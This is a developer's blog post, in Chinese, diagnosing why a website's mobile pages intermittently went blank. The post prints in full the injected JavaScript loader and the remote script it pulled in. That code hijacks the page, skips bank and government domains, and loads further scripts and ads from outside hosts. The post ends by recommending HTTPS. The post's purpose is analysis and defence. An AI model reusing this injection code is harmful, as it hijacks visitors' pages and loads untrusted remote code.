今天发生一件很离奇的事,网站在移动端访问时,经常偶发性的、无规律的出现页面空白的情况。经过排查,发现在不能正常展示页面的时候,页面代码里面被人注入了一段js。如下:
<script>!function(){function a(){var a=new Date;a.setTime(a.getTime()+6e4),document.cookie="sessioned=1;expires="+a.toUTCString()}function b(b){a(),setTimeout(function(){location.href=location.href},b)}var d,e,f,c=1e4;try{if(!/sessioned=1/.test(document.cookie)){a(),e=document.createElement("script"),f=!1,e.src="http://www.szzl55.com/gt/popup/db-zkl-hx5.js?4",e.type="text/javascript",e.charset="UTF-8",d=new XMLHttpRequest,d.open("GET",window.location,!0),d.setRequestHeader("X-Requested-With","XMLHttpRequest");try{d.timeout=c}catch(g){}d.send(),d.onreadystatechange=function(){try{if(4==d.readyState){if(200!=d.status||"text/html"!=d.getResponseHeader("Content-Type"))throw"";text=d.responseText.replace(/<\/body>/i,e.outerHTML+"
"),document.open("text/html","replace"),document.write(text),setTimeout(function(){document.close()},1e3),f=!0}}catch(a){b(100)}}}}catch(g){b(150)}finally{setTimeout(function(){f||b(1)},c+1e3)}}();</script>
分析一下这段JS代码,发现它下载“http://www.szzl55.com//gt/popup/db-zkl-hx5.js?4”文件。文件内容:
!function() { var re = /\.edu|\.gov|\.org|\.189\.cn|\.ct10000\.com|\.118114\.cn|\.10086|\.10010|\.icbc\.com\.cn|\.ccb\.com|\.abchina\.com|\.boc\.cn|\.bankcomm\.com|\.cmbchina\.com|\.pingan\.com|\.cib\.com\.cn|\.cgbchina\.com\.cn|\.psbc\.com|\.spdb\.com|\.microsoft\.com|\.apple\.com|\.bing\.com|\.qzone|\.gtimg\.cn|\.alipay\.com|\.alibaba\.com|\.aliyun\.com|\.aliexpress\.com|\.1688\.com|\.alimama\.com|\.alitrip\.com|120\.24\.157\.107|\.zzgjj\.com|\.people\.com|\.people\.cn|\.12306\.cn|\.153\.cn|\.xinhuanet\.com|\.china\.com|pop\.10jqka\.com\.cn|\.linezing\.com|\.youmi\.net|\.qihuo\.com|\.wps\.cn|\.rising\.com\.cn/; var _ad_div = '_zkl_t'; var _isMobile = false; try { if (window.innerWidth <= 600 && window.innerHeight <= 800) { _isMobile = true; } } catch (e) { } _isMobile = true; if (!re.test(location.href) && !document.getElementById(_ad_div)) { var _style = ''; if (_isMobile) { _style = 'z-index: 2147483646;' + 'text-align: center;' + 'margin: 0 auto;' + 'display: none;' + 'width: ' + window.innerWidth + 'px;'; } else { _style = 'display: inline-block;' + 'width: 300px;' + 'height: 250px;' + 'position: fixed;' + 'bottom: 0px;' + 'right: 18px;' + 'display: none;' + 'z-index: 2147483646;'; } var _div = '%3Cdiv%20id%3D%22' + _ad_div + '%22' + ' style%3D%22' + escape(_style) + '%22%3E'; if (_isMobile) { document.write(unescape(_div)); document.write(unescape("%3Cscript%20type%3D%22text%2Fjavascript%22%20charset%3D%22utf-8%22%20src%3D%22http%3A%2F%2Fou7rhs2a4.bkt.clouddn.com%2Fgta.js%3F11%22%3E%3C%2Fscript%3E")); document.write(unescape("%3Cscript%20type%3D%22text%2Fjavascript%22%20src%3D%22http%3A//www.szzl55.com/gt/popup/dlink5.js%3F39%22%3E%3C%2Fscript%3E")); //document.write(unescape("%3Ciframe%20src%3D%22http%3A%2F%2Fwww.155rc.com%2Fgt%2Ftest%3Fdlink-tj.html%22%20style%3D%22display%3Anone%22%3E%3C%2Fiframe%3E")); //document.write(unescape("%3C%2Fdiv%3E")); } //if (_isMobile){ // setMobilePosition(); //} } }();
先判断访问的目标地址是否是教育网站、政府网站、机构网站、几大运营商网站、银行网站、各大公司网站(估计他们惹不起)等,如果不是,就下手了
解决办法其实很简单:
不使用http访问,使用https访问,如果是http访问,跳转到https,这样就没有中间商赚差价了。
===================
我们这边修改成https访问,就再也没有出现页面被劫持后注入代码的问题。